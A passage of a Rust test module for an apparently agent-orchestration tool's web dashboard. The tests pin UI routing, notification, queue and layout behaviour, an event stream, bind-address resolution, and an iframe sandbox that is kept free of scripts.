20398        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20399        let notes = &v["thread_notes_md"];
20400        assert_eq!(notes.as_array().unwrap().len(), 2);
20401        assert!(notes[0].is_null());
20402        let text = notes[1].to_string();
20403        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20404        assert!(APP_JS.contains("ask-turn-note"));
20405    }
20406
20407    #[test]
20408    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20409        // The land panel defers to `run.status` for merged, and labels a
20410        // recorded-open PR on any finished run (superseded, blocked, ...) as
20411        // last seen, never as live state.
20412        assert!(APP_JS.contains("function landView(run, raw) {"));
20413        assert!(
20414            APP_JS.contains(
20415                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20416            )
20417        );
20418        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20419        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20420        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20421        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20422    }
20423
20424    #[test]
20425    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20426        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20427        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20428        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20429        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20430    }
20431
20432    #[test]
20433    fn review_rounds_label_a_distinct_verified_head() {
20434        assert!(APP_JS.contains("round.verified_head"));
20435        assert!(APP_JS.contains("verified HEAD"));
20436        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20437    }
20438
20439    #[test]
20440    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20441        // A blocked task's chip and note must not fall back to a queued-like
20442        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20443        // itself by e11fc58 but never checked here.
20444        assert!(APP_JS.contains("blocked: { glyph:"));
20445        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20446
20447        // `blocked_by` mixes task ids and question ids in the same list, and
20448        // the client can only tell them apart by checking each id against
20449        // what it actually knows - never by guessing from the id's shape.
20450        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20451        assert!(
20452            APP_JS.contains(
20453                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20454            ),
20455            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20456        );
20457        // The classification must key off `status_str`, never off `blocked_by`
20458        // or `block_reason` merely being present - both can survive briefly
20459        // on a task a hold or a dead daemon just moved off `blocked`.
20460        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20461
20462        // A question a task is blocked on gets its own node in the same
20463        // dependency graph, not just a task-shaped node with nothing known
20464        // about it.
20465        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20466        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20467        assert!(
20468            APP_JS.contains("location.hash = \"#/questions\";"),
20469            "a question node must jump to the Questions screen, not pretend to be a task"
20470        );
20471
20472        // `Task::answers` - decisions already made - are shown as a record on
20473        // the card, the same disclosure style as the full instruction.
20474        assert!(APP_JS.contains("Resolved questions"));
20475        assert!(APP_JS.contains("r.answersList.append("));
20476        assert!(APP_CSS.contains(".task-answers"));
20477        {
20478            let start = APP_JS
20479                .find("function updateTalkTaskRow")
20480                .expect("updateTalkTaskRow");
20481            let body = &APP_JS[start..];
20482            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20483            assert!(
20484                body.contains(
20485                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20486                ),
20487                "a chat-filed task row must link to the task page"
20488            );
20489            assert!(
20490                !body.contains("#/runs/") && !body.contains("#/queue/"),
20491                "the row must not branch to a run or the queue card"
20492            );
20493            assert!(APP_CSS.contains(".talk-task-link"));
20494        }
20495    }
20496
20497    #[test]
20498    fn a_task_notification_links_to_the_task_page() {
20499        // A task notice opens the task detail page, not the Backlog card.
20500        let start = APP_JS
20501            .find("function noticeLink(")
20502            .expect("noticeLink exists");
20503        let body = &APP_JS[start..];
20504        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20505        assert!(
20506            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20507            "a task notice's link must target the task page"
20508        );
20509        assert!(
20510            !body.contains("#/queue/"),
20511            "regression: the task link must not go back to the Backlog route"
20512        );
20513        assert!(
20514            APP_JS.contains(
20515                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20516            ),
20517            "`#/tasks/<id>` must parse into the task route"
20518        );
20519
20520        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20521        assert!(
20522            APP_JS.contains(
20523                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20524            ),
20525            "`#/queue/<id>` must parse into a route carrying that id"
20526        );
20527
20528        // And the Backlog view has to actually land on the card once it can
20529        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20530        // so a focus set before the queue has loaded is retried once it has.
20531        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20532        assert!(APP_JS.contains("function consumeQueueFocus()"));
20533        assert!(APP_JS.contains("jumpToTask(id)"));
20534    }
20535
20536    #[test]
20537    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20538        let start = APP_JS
20539            .find("function noticeCoveredBy(")
20540            .expect("noticeCoveredBy exists");
20541        let body = &APP_JS[start..];
20542        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20543
20544        // Historical associations are informational, even for open questions.
20545        assert!(body.contains("Associated question ${short}"));
20546        assert!(!body.contains("el(\"a\""));
20547
20548        // A resolved question displays status rather than an actionable link
20549        assert!(body.contains("(resolved)"));
20550        assert!(body.contains("(closed)"));
20551
20552        let start = APP_JS
20553            .find("function renderNotifications()")
20554            .expect("renderNotifications exists");
20555        let body = &APP_JS[start..];
20556        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20557
20558        // Only a server-resolved answerable question supplies a response link.
20559        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20560        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20561        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20562        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20563    }
20564
20565    /// Chat rows are two lines at every width: the title alone, then the
20566    /// shrinkable secondary info.
20567    #[test]
20568    fn chat_rows_put_the_title_alone_on_the_first_line() {
20569        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20570        assert!(APP_CSS.contains(
20571            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20572        ));
20573        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20574        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20575    }
20576
20577    #[test]
20578    fn run_rows_put_the_title_alone_on_the_first_line() {
20579        assert!(
20580            APP_CSS.contains(
20581                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20582            )
20583        );
20584        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20585        assert!(APP_JS.contains("class: \"card run-card\""));
20586        assert!(APP_JS.contains("class: \"repo run-id\""));
20587    }
20588
20589    /// Wide screens get a master/detail layout built from the views a phone
20590    /// drills into. These are string assertions: they pin the contract between
20591    /// the three assets, not how it looks.
20592    #[test]
20593    fn wide_screens_show_list_and_preview_side_by_side() {
20594        // One breakpoint, spelled the same in the script and the stylesheet.
20595        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20596        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20597        assert!(APP_CSS.contains("main[data-split]"));
20598        assert!(APP_CSS.contains("body[data-split]"));
20599
20600        // The route -> panes table, and a narrow screen opting out of it.
20601        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20602        assert!(
20603            APP_JS.contains(
20604                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20605            )
20606        );
20607        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20608        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20609        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20610
20611        // Selection is derived from the route, and only ever paints a row.
20612        assert!(APP_JS.contains("function markSelected() {"));
20613        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20614        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20615        // The dense row must override the stacked card the 720px block sets up.
20616        assert!(
20617            APP_CSS.contains(
20618                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20619            )
20620        );
20621
20622        // Independent scrolling: the page stops scrolling, each pane does.
20623        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20624        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20625        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20626        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20627
20628        // A refresh must never navigate: the loaders still check that their
20629        // subject is the one on screen, and crossing the breakpoint only
20630        // re-reads the hash.
20631        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20632        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20633        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20634        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20635
20636        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20637        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20638    }
20639
20640    #[test]
20641    fn panel_sandbox_carries_exactly_popups() {
20642        let needle = "sandbox: \"";
20643        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20644        assert_eq!(
20645            matches.len(),
20646            1,
20647            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20648        );
20649        let start = matches[0].0 + needle.len();
20650        let end = APP_JS[start..]
20651            .find('"')
20652            .expect("sandbox attribute value must be terminated by a closing quote");
20653        let val = &APP_JS[start..start + end];
20654        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20655        let expected: std::collections::BTreeSet<&str> =
20656            ["allow-popups", "allow-popups-to-escape-sandbox"]
20657                .into_iter()
20658                .collect();
20659        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20660        assert!(
20661            !tokens.contains("allow-scripts"),
20662            "allow-scripts must never be present in sandbox"
20663        );
20664        assert!(
20665            !tokens.contains("allow-same-origin"),
20666            "allow-same-origin must never be present in sandbox"
20667        );
20668    }
20669
20670    #[test]
20671    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20672        // consumeQueueFocus() clears an active Backlog search before it can
20673        // scroll to the target card (the sections list is hidden while a
20674        // search is showing), by recursing back into renderQueue(). The
20675        // fixer's first cut nulled state.queueFocus before that recursive
20676        // call, so the second pass saw nothing to jump to and the jump was
20677        // silently dropped whenever a notification's link was opened with a
20678        // stale search still active. state.queueFocus must only be cleared
20679        // right before jumpToTask() actually runs.
20680        assert!(
20681            APP_JS.contains(
20682                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20683            ),
20684            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20685             recursive renderQueue() call has nothing left to jump to"
20686        );
20687        assert!(
20688            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20689            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20690             arrives later still gets it"
20691        );
20692        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20693        assert!(APP_JS.contains("is not in the current Backlog."));
20694        assert!(APP_JS.contains("li.card[data-task-id=\""));
20695        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20696        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20697        assert!(APP_CSS.contains(".card-permalink"));
20698        assert!(APP_CSS.contains(".queue-focus-status"));
20699        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20700    }
20701
20702    #[test]
20703    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20704        // The task's own repro: only the link text inside .notice-meta was
20705        // clickable, so a tap on the message, the timestamp, or the card's
20706        // padding did nothing - on a phone that reads as "the card doesn't
20707        // work" even though the tiny link inside it did. Mark read / Dismiss
20708        // must keep working independently of this: `.closest("a, button")`
20709        // is what lets a tap that actually lands on those elements fall
20710        // through instead of being hijacked into a navigation.
20711        assert!(
20712            APP_JS.contains(
20713                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20714            ),
20715            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20716        );
20717    }
20718
20719    #[test]
20720    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20721        assert!(
20722            APP_JS.contains("round.verified_head !== round.head"),
20723            "a round that verified an earlier commit must be visibly distinct from one that \
20724             verified the head reviewers are looking at now"
20725        );
20726        assert!(
20727            APP_JS.contains("round.verified_at"),
20728            "when a check ran must be on the wire, not just which commit"
20729        );
20730        assert!(
20731            APP_JS.contains("resource_blocked"),
20732            "a command magi never got to run (shared build cache contention) must not render \
20733             the same as a command that ran and failed"
20734        );
20735    }
20736
20737    #[test]
20738    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20739        // Every KPI tile but Total runs and Completion names an exact
20740        // RunStatus and hands it to openRunsFiltered(), which is what wires
20741        // the click into state.runsFilter.status (matchesFilter's own
20742        // status check) rather than the coarser runsStateFilter chips. Each
20743        // status literal here must be one of the strings runSection() (and
20744        // isStale()) actually compare a run's own `status` field against -
20745        // a status this dashboard invented would filter to nothing.
20746        assert!(
20747            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20748            "every KPI tile built through statusTile() must route its click through \
20749             openRunsFiltered, the single place that sets the Runs filter"
20750        );
20751        for (label, status) in [
20752            ("Merged", "merged"),
20753            ("Ready", "ready"),
20754            ("Blocked", "blocked"),
20755            ("Stalled", "stalled"),
20756        ] {
20757            let call = format!("statusTile(\"{label}\", t.{status}, ");
20758            assert!(
20759                APP_JS.contains(&call),
20760                "expected the {label} KPI tile built via {call}..."
20761            );
20762            assert!(
20763                APP_JS.contains(&format!("status === \"{status}\"")),
20764                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20765                 compare a run against, not one invented only for the stats tile"
20766            );
20767        }
20768        assert!(
20769            APP_JS.contains("function openRunsFiltered(status)"),
20770            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20771        );
20772        assert!(
20773            APP_JS.contains(
20774                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20775            ),
20776            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20777        );
20778        // applyRoute() only flips which view is visible for a plain `#runs`
20779        // hash - it does not itself redraw the list (see applyRoute's own
20780        // handling below) - so openRunsFiltered must call renderRuns()
20781        // itself, and must call applyRoute() too so the view flips even
20782        // when the hash string doesn't change (the operator may already be
20783        // on the Runs view when a tile is tapped, which fires no
20784        // hashchange event at all).
20785        assert!(
20786            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20787            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20788             hashchange event that may never fire"
20789        );
20790    }
20791
20792    #[test]
20793    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20794        // A stats tile can leave state.runsFilter.status set to something
20795        // done-by-construction (e.g. "merged") - picking "Active" afterward
20796        // must drop it the same way an incompatible tree section is already
20797        // dropped, or the Runs list renders permanently empty with no way
20798        // for the operator to tell why.
20799        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20800        assert!(
20801            APP_JS.contains(
20802                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20803            ),
20804            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20805             guard for an incompatible tree section"
20806        );
20807    }
20808
20809    #[test]
20810    fn every_stats_queue_tile_names_a_real_queue_section() {
20811        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20812        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20813        // (consumeQueueSectionFocus finds no matching <details> and drops
20814        // the focus) rather than fail loudly, so pin every key against the
20815        // section list it has to resolve against.
20816        assert!(
20817            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20818            "every queue tile built through sectionTile() must route its click through \
20819             openQueueSectionFocus"
20820        );
20821        for key in ["upnext", "running", "done", "held", "blocked"] {
20822            assert!(
20823                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20824                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20825            );
20826        }
20827        // Queued and Failed intentionally both resolve to "upnext" - the
20828        // same section queueSection() itself files them under - rather than
20829        // getting a section each.
20830        for line in [
20831            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20832            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20833            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20834            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20835            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20836            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20837        ] {
20838            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20839        }
20840    }
20841
20842    #[test]
20843    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20844        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20845        // above for the section-focus channel a stats queue tile drives:
20846        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20847        // through the stale-search-clear recursion into renderQueue(), and
20848        // clear it only once revealQueueSection() is actually about to run -
20849        // the same trap that once silently dropped a task-focus jump.
20850        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20851        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20852        assert!(APP_JS.contains("function revealQueueSection(details)"));
20853        assert!(
20854            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20855            "renderQueue() must consume both focus channels on every pass"
20856        );
20857        assert!(
20858            APP_JS.contains(
20859                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20860            ),
20861            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20862             the recursive renderQueue() call has nothing left to reveal"
20863        );
20864        assert!(
20865            APP_JS.contains(
20866                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20867            ),
20868            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20869        );
20870        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20871        // task-focus form of the hash - a plain `#queue` navigation only
20872        // flips which view is visible. openQueueSectionFocus() must
20873        // therefore call renderQueue() itself, and applyRoute() too so the
20874        // view flips even when the hash doesn't change (the Backlog may
20875        // already be open when a tile is tapped, firing no hashchange
20876        // event at all).
20877        assert!(
20878            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20879            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20880             hashchange event that may never fire"
20881        );
20882    }
20883
20884    #[tokio::test]
20885    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20886        let f = Fixture::start().await;
20887
20888        let mut socket = tokio::net::TcpStream::connect(f.addr)
20889            .await
20890            .expect("connect");
20891        socket
20892            .write_all(
20893                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20894            )
20895            .await
20896            .expect("write request");
20897
20898        // Read until the first event arrives rather than to end of stream: the
20899        // stream is endless by design, which is the point of the route.
20900        let mut seen = String::new();
20901        let mut buf = [0u8; 1024];
20902        while !seen.contains("event: change") {
20903            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20904                .await
20905                .expect("the stream must speak within five seconds")
20906                .expect("read");
20907            assert!(read > 0, "the server closed the change stream: {seen}");
20908            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20909        }
20910
20911        assert!(
20912            seen.to_lowercase()
20913                .contains("content-type: text/event-stream"),
20914            "the browser only reconnects automatically for a real SSE stream: {seen}"
20915        );
20916        let data = seen
20917            .lines()
20918            .find_map(|l| l.strip_prefix("data:"))
20919            .expect("a data line");
20920        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20921        assert!(
20922            payload["queue_rev"].is_u64()
20923                && payload["runs_rev"].is_u64()
20924                && payload["questions_rev"].is_u64()
20925                && payload["talks_rev"].is_u64()
20926                && payload["notifications_rev"].is_u64()
20927                && payload["loop_rev"].is_u64(),
20928            "the client needs one revision per store to know what to refetch, \
20929             and `talks_rev` is the only notification a standing talk gets - a \
20930             phone whose radio slept through a turn learns about it here, as \
20931             does one whose operator started the loop from another device: \
20932             {payload}"
20933        );
20934
20935        // The front end re-polls health on a timer and on wake, and takes the
20936        // revisions from that answer whenever the stream is not up. So health
20937        // has to carry every key the stream carries: a phone on a link that
20938        // will not hold an SSE connection is exactly the phone that must still
20939        // notice a question, and a missing key there is not a 500 but a UI
20940        // that quietly stops updating.
20941        let health = f.get("/api/health").await.json();
20942        for key in [
20943            "queue_rev",
20944            "runs_rev",
20945            "questions_rev",
20946            "talks_rev",
20947            "notifications_rev",
20948            "loop_rev",
20949        ] {
20950            assert!(
20951                health[key].is_u64(),
20952                "health is the change stream's fallback and is missing `{key}`: {health}"
20953            );
20954        }
20955    }
20956
20957    #[tokio::test]
20958    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20959        let f = Fixture::start().await;
20960        let before = f.get("/api/health").await.json()["talks_rev"]
20961            .as_u64()
20962            .expect("talks_rev");
20963
20964        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20965        std::thread::sleep(Duration::from_millis(10));
20966        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20967        on_disk.turns.push(crate::talk::Turn {
20968            sender: None,
20969            breaks: Some(Vec::new()),
20970            messages: Vec::new(),
20971            posted_by: None,
20972            who: crate::talk::Who::Operator,
20973            body: "a new turn".to_owned(),
20974            at: Timestamp::now(),
20975            attachments: Vec::new(),
20976            usage: None,
20977        });
20978        f.talks().put(&mut on_disk).expect("record a turn");
20979
20980        let after = tokio::time::timeout(Duration::from_secs(5), async {
20981            loop {
20982                let revision = f.get("/api/health").await.json()["talks_rev"]
20983                    .as_u64()
20984                    .unwrap();
20985                if revision != before {
20986                    break revision;
20987                }
20988                tokio::time::sleep(Duration::from_millis(50)).await;
20989            }
20990        })
20991        .await
20992        .expect("shared monitor observes external turn");
20993        assert_ne!(
20994            before, after,
20995            "a phone must be able to notice a talk's reply without polling every store"
20996        );
20997    }
20998
20999    #[test]
21000    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21001        // The CLI shows the default in `--help` and parses whatever comes
21002        // back, so the two directions have to agree or `--bind auto` breaks
21003        // the moment someone copies the help text.
21004        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21005            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21006        }
21007        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21008        assert!("everywhere".parse::<Bind>().is_err());
21009    }
21010
21011    #[test]
21012    fn an_explicit_bind_address_is_taken_verbatim() {
21013        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21014
21015        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21016
21017        assert_eq!(addr, asked);
21018        assert!(
21019            warning.is_none(),
21020            "an operator who named an address gets no lecture"
21021        );
21022    }
21023
21024    #[test]
21025    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21026        let (addr, warning) = resolve_bind(&Bind::Auto);
21027
21028        // This has to hold on a CI runner with no `tailscale` and on a dev box
21029        // with one, so the invariant asserted is the one shared by both
21030        // outcomes: the address is either a real tailnet address offered
21031        // without comment, or loopback with an explanation. What must never
21032        // happen is a silent fallback - an operator told "listening on
21033        // 127.0.0.1" with no reason would go looking for a firewall.
21034        match addr {
21035            IpAddr::V4(ip) if is_tailnet(&ip) => {
21036                assert!(warning.is_none(), "a tailnet address needs no warning");
21037            }
21038            other => {
21039                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21040                let warning = warning.expect("a fallback has to explain itself");
21041                assert!(
21042                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21043                    "the warning says what happened and what it costs: {warning}"
21044                );
21045            }
21046        }
21047    }
21048
21049    #[test]
21050    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21051        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21052        // boundary cases are what stop us binding to some other tool's idea of
21053        // an address.
21054        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21055        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21056        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21057        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21058        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21059    }
21060
21061    #[test]
21062    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21063        let ids = vec![
21064            "20260902-140501-aaaa".to_owned(),
21065            "20260902-140502-aabb".to_owned(),
21066        ];
21067
21068        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21069        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21070        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21071
21072        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21073        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21074        assert_eq!(short, "20260902-140502-aabb");
21075    }
21076    #[tokio::test]
21077    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21078        // The prompt tells agents to reference attachments by bare filename.
21079        // A document served at `.../panel` resolves `shot.png` against its own
21080        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21081        // panel written exactly as instructed showed broken images. Caught by
21082        // looking at a real one in a browser, not by reading the code.
21083        let fx = Fixture::start().await;
21084        let id = panel(
21085            &fx,
21086            "<img src=\"shot.png\">",
21087            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21088        );
21089
21090        // The frame's own URL ends in a filename, so its siblings are reachable.
21091        let doc = fx
21092            .get(&format!("/api/questions/{id}/panel/index.html"))
21093            .await;
21094        assert_eq!(doc.status, 200, "{}", doc.body);
21095        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21096
21097        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21098        assert_eq!(sibling.status, 200, "{}", sibling.body);
21099        assert_eq!(sibling.header("content-type"), Some("image/png"));
21100        assert_eq!(
21101            sibling.header("content-security-policy"),
21102            Some(PANEL_CSP),
21103            "the sibling route must carry the same policy as the asset route"
21104        );
21105
21106        // The original spelling keeps working: HEAD on it is how the front end
21107        // decides whether to mount a frame at all.
21108        assert_eq!(
21109            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21110            200
21111        );
21112    }
21113
21114    #[test]
21115    fn delta_stamps_cover_add_update_remove_and_noop() {
21116        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21117        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21118        let delta = diff_stamps(&before, &after, 42);
21119        assert_eq!(delta.base, 42);
21120        assert_eq!(delta.changed, ["b", "c"]);
21121        assert_eq!(delta.removed, ["a"]);
21122        let same = diff_stamps(&after, &after, 43);
21123        assert!(same.changed.is_empty() && same.removed.is_empty());
21124        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21125        let nanos: Stamps = [("b".into(), (2, 20))].into();
21126        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21127        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21128        assert_eq!(stamps_revision(&Stamps::new()), 0);
21129    }
21130
21131    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21132        std::fs::create_dir_all(home.join("runs")).unwrap();
21133        Arc::new(
21134            Ui::new(
21135                Queue::at(home.join("queue")),
21136                Questions::at(home.join("questions")),
21137                Talks::at(home.join("talks")),
21138                home.join("runs"),
21139                home.to_owned(),
21140                PathBuf::from("/repo/magi"),
21141            )
21142            .with_worktrees_root(home.join("wt")),
21143        )
21144    }
21145
21146    #[test]
21147    fn monitor_scan_isolates_store_failures_and_recovers() {
21148        let home = TempDir::new().unwrap();
21149        let ui = delta_test_ui(home.path());
21150        std::fs::create_dir_all(ui.questions.root()).unwrap();
21151        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21152        let before = monitor_scan(&ui, None);
21153        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21154        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21155        std::fs::create_dir_all(ui.talks.root()).unwrap();
